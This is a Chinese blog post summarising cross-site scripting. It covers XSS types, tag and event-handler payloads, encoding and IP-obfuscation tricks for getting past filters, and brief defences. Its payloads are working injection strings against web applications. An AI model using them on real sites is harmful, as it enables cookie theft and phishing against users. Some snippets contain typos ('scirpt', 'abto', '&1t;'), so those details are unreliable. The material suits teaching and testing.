0%

XSS总结

## XSS分类

反射型

把用户输入的数据从服务器反射给用户浏览器,要精心构造payload

攻击者通过电子邮件等方式,诱使用户去访问一个包含恶意xss代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。

此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。

存储型

又称持久型XSS,威胁要比反射型XSS要大,存储在目标服务器中.

用户不需要点击特定的url就可与执行,攻击者事先把恶意代码上传或存储到服务器中,受害者只需点开这个含有恶意代码的页面j就会执行恶意代码,通常可以使用一些网上的xss平台.

此类XSS常出现在网站留言评论等交互处.


DOM型

DOM-Based XSS基于DOM文档对象的一种漏洞,是一种特殊类型的反射型XSS.DOM型XSS基于JS上,不需要与服务器进行交互。


常用标签

<a>标签

1
2
<a href="javascript:alert('xss')">aa</a>
<a href=javascript:eval(alert('xss'))>aa</a>

<img>标签

1
2
3
4
<img src=javascript:alert("xss")>
<img src="x" onerror=alert(1)>
<img src="1" onerror=eval("alert('xss')")>
<img src=1 onmouseover=alert('xss')>

<script>标签

1
<scirpt>alert("xss");</script>

<form>标签

1
2
3
4
5
<form action=javascript:alert('xss') method="get">
<form method=post action=aa.asp? onmouseover=prompt('xss')>
<form method=post action=aa.asp? onmouseover=alert('xss')>
<form action=1 onmouseover=alert('xss)>

<iframe>标签

1
2
<iframe src=javascript:alert('xss');height=5width=1000 /><iframe>
<iframe src="aaa" onmouseover=alert('xss') /><iframe>

<svg>标签

1
<svg onload=alert(1)>

常用的on事件

1
2
3
4
5
6
7
onchange 	      #HTML 元素改变
onclick #用户点击 HTML 元素
onmouseover #用户在一个HTML元素上移动鼠标
onmouseout #用户从一个HTML元素上移开鼠标
onkeydown #用户按下键盘按键
onload #浏览器已完成页面的加载
onerror #发生错误时执行js

XSS绕过

过滤空格

1
/**/ , /符号 ,

过滤关键字



编码绕过

  • HTML实体编码

&开头,以分号结尾的,

<的编码为&1t;

1
以&开头,以分号结尾的,如<的编码为&1t;
  • URL编码

可以考虑进行一次url编码或者二次url编码

1
2
3
javascript:alert(1) => javascript%3Aalert%281%29
alert("xss"); => %61%6c%65%72%74%28%22%78%73%73%22%29%3b
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
  • Unicode编码
1
2
3
alert("xss"); => \u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">

  • Ascii码

var n = String.fromCharCode(65) 输出 A

var n=String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59);

输出 alert("xss");

1
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
  • Base64

JS中用来编码和解码base64的两个函数

abto() base64解码

btoa() 编码为base64

1
2
<img src="x" onerror="eval(atob('ImFsZXJ0KCd4c3MnKSI='))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
  • 八进制
1
<img src=x onerror=alert('\170\163\163')>
  • Hex
1
2
3
<script>alert('xss')</script> => 3C7363726970743E616C657274282278737322293B3C2F7363726970743E

<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>


过滤url

url编码

1
<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>

IP绕过

  • 十进制IP
1
2
<img src="x" onerror=document.location=`http://2130706433/`>
# 127.0.0.1
  • 八进制IP
1
<img src="x" onerror=document.location=`http://0177.0.0.01/`>
  • HEX
1
<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>
  • html标签中使用// 代替http://
1
<img src="x" onerror=document.location=`//www.baidu.com`>


XSS防御

  • 黑/白名单
  • 对输出编码
  • 对输入过滤

过滤一些危险字符,以及转义 || < > ' " & # 等危险字符

  • HttpOnly Cookie设置

Cookie在消息头中被设置为HttpOnly,可以阻止客户端JS直接访问浏览器中的cookies,从而达到保护敏感数据的作用

  • 限制输入内容长度

  • CSP(Content Security Policy)





Reference

https://xz.aliyun.com/t/4067

https://xz.aliyun.com/t/2936

https://blog.csdn.net/weixin_51356351/article/details/109690416

https://wh0ale.github.io/2019/03/19/2019-3-19-%E9%82%A3%E4%BA%9B%E5%B9%B4%E6%88%91%E4%BB%AC%E4%B8%80%E8%B5%B7%E5%AD%A6XSS/

欢迎关注我的其它发布渠道

------------- 💖 🌞 本 文 结 束 😚 感 谢 您 的 阅 读 🌞 💖 -------------